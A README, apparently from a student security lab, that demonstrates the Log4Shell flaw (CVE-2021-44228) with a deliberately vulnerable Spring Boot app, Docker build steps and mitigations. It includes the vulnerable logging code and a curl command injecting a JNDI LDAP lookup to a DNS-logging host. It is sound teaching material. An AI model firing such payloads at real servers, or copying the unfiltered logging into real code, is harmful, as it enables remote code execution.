🔓 Log4Shell भेद्यता प्रदर्शन (CVE-2021-44228)

यह प्रोजेक्ट एक नियंत्रित परीक्षण वातावरण है जो Apache Log4j लाइब्रेरी को प्रभावित करने वाली गंभीर Log4Shell (CVE-2021-44228) कमजोरी को पुन: उत्पन्न करने और समझने की अनुमति देता है।

📁 प्रोजेक्ट आर्किटेक्चर

Secutp1/
├── Dockerfile                           # Construction de l'image Docker
├── pom.xml                              # Dépendances Maven (Log4j 2.14.1 vulnérable)
├── README.md                            # Ce fichier
└── src/
    └── main/
        └── java/
            └── com/
                └── example/
                    └── VulnerableApplication.java   # Application Spring Boot vulnérable

🎯 उद्देश्य

यह प्रदर्शित करना कि कैसे एक हमलावर CVE-2021-44228 कमजोरी का उपयोग करके किसी सर्वर को केवल एक दुर्भावनापूर्ण स्ट्रिंग भेजकर अनधिकृत आउटगोइंग नेटवर्क कनेक्शन करने के लिए मजबूर कर सकता है।

🔍 कमजोर कोड का विश्लेषण

1. निर्भरता प्रबंधन (pom.xml)

pom.xml फ़ाइल Log4j 2.14.1 के उपयोग को मजबूर करती है, जो सुरक्षा पैच से पहले का संस्करण है:

<log4j2.version>2.14.1</log4j2.version>

इस संस्करण में डिफ़ॉल्ट रूप से सक्रिय JndiLookup क्लास शामिल है, जो समस्या की जड़ है।

2. जावा एप्लिकेशन (VulnerableApplication.java)

एप्लिकेशन एक REST वेब सेवा प्रदान करता है। कमजोरी index विधि में स्थित है:

@GetMapping("/")
public String index(@RequestParam(name = "input", required = false, defaultValue = "test") String input) {
    // LA LIGNE VULNÉRABLE :
    logger.info("Requête reçue, input : " + input);
    return "Bonjour ! Votre input a été loggé : " + input;
}

समस्या : एप्लिकेशन एक उपयोगकर्ता पैरामीटर (input) प्राप्त करता है और इसे सीधे logger.info() को बिना किसी फ़िल्टरिंग के पास करता है। Log4j फिर सामग्री को एक संभावित कमांड के रूप में व्याख्या करता है।

3. Docker बुनियादी ढांचा (Dockerfile)

Dockerfile दो-चरणीय निर्माण का उपयोग करता है:

• चरण 1 : Maven के साथ संकलन (maven:3.8.4-openjdk-11)
• चरण 2 : eclipse-temurin:11-jre के साथ निष्पादन

💡 Java 11 का उपयोग प्रासंगिक है क्योंकि नवीनतम संस्करण डिफ़ॉल्ट रूप से दूरस्थ क्लास लोडिंग को प्रतिबंधित करते हैं।

⚙️ हमले का तंत्र

शोषण JNDI (जावा नेमिंग एंड डायरेक्टरी इंटरफ़ेस) इंजेक्शन पर आधारित है:

1. Log4j लॉग में ${jndi:protocole://url} सिंटैक्स का पता लगाता है
2. यह गतिशील रूप से निर्दिष्ट URL से कनेक्ट करने का प्रयास करता है
3. वास्तविक परिदृश्य में, यह एक दुर्भावनापूर्ण जावा क्लास (RCE) डाउनलोड और निष्पादित करने की अनुमति देता है

🧪 चरण-दर-चरण शोषण प्रक्रिया

चरण 1 : तैयारी

सुनिश्चित करें कि निम्न फ़ाइलें एक ही फ़ोल्डर में हैं:

• Dockerfile
• pom.xml
• src/main/java/com/example/VulnerableApplication.java

चरण 2 : Docker इमेज का निर्माण

docker build -t vulnerable-app .

चरण 3 : कंटेनर लॉन्च करना

docker run -p 8080:8080 --name demo-log4j vulnerable-app

एप्लिकेशन अब पोर्ट 8080 पर सुन रहा है।

चरण 4 : गवाह (लिसनर) तैयार करना

1. DNS लॉगिंग सेवा पर जाएं:

   • dnslog.cn
   • dnslog.org
   • Burp Collaborator

2. प्रदान किया गया पता कॉपी करें (जैसे: mon-test.dnslog.cn)

चरण 5 : पेलोड इंजेक्शन

एक नए टर्मिनल में, निम्न कमांड चलाएं:

curl "http://localhost:8080/?input=\${jndi:ldap://mon-test.dnslog.cn/a}"

📝 नोट : टर्मिनल में $ को एस्केप करने के लिए \ वर्ण का उपयोग किया जाता है।

चरण 6 : सत्यापन

dnslog साइट पर वापस जाएं। आपको एक DNS अनुरोध दिखाई देगा, यह पुष्टि करता है कि सर्वर ने इंजेक्टेड कोड निष्पादित किया है।

📊 अपेक्षित परिणाम

🚨 निष्कर्ष

सर्वर ने केवल एक उपयोगकर्ता अनुरोध को लॉग करके बाहरी मशीन के लिए एक आउटगोइंग कनेक्शन किया।

वास्तविक परिदृश्य में, यह कनेक्शन अनुमति दे सकता था:

• एक दुर्भावनापूर्ण जावा क्लास डाउनलोड करना
• मनमाना कोड निष्पादित करना (RCE - रिमोट कोड एक्ज़ीक्यूशन)
• सर्वर का पूर्ण नियंत्रण लेना

🛡️ उपाय

इस कमजोरी को ठीक करने के लिए:

1. Log4j को संस्करण 2.17.1 या उससे ऊपर अपडेट करें
2. JNDI लुकअप अक्षम करें : -Dlog4j2.formatMsgNoLookups=true
3. JndiLookup क्लास को classpath से हटाएं

📚 संदर्भ

• CVE-2021-44228 - NVD
• Apache Log4j सुरक्षा कमजोरियाँ
• ANSSI - Log4Shell भेद्यता

📜 लाइसेंस

यह प्रोजेक्ट केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग जिम्मेदारी और नैतिकता से करें।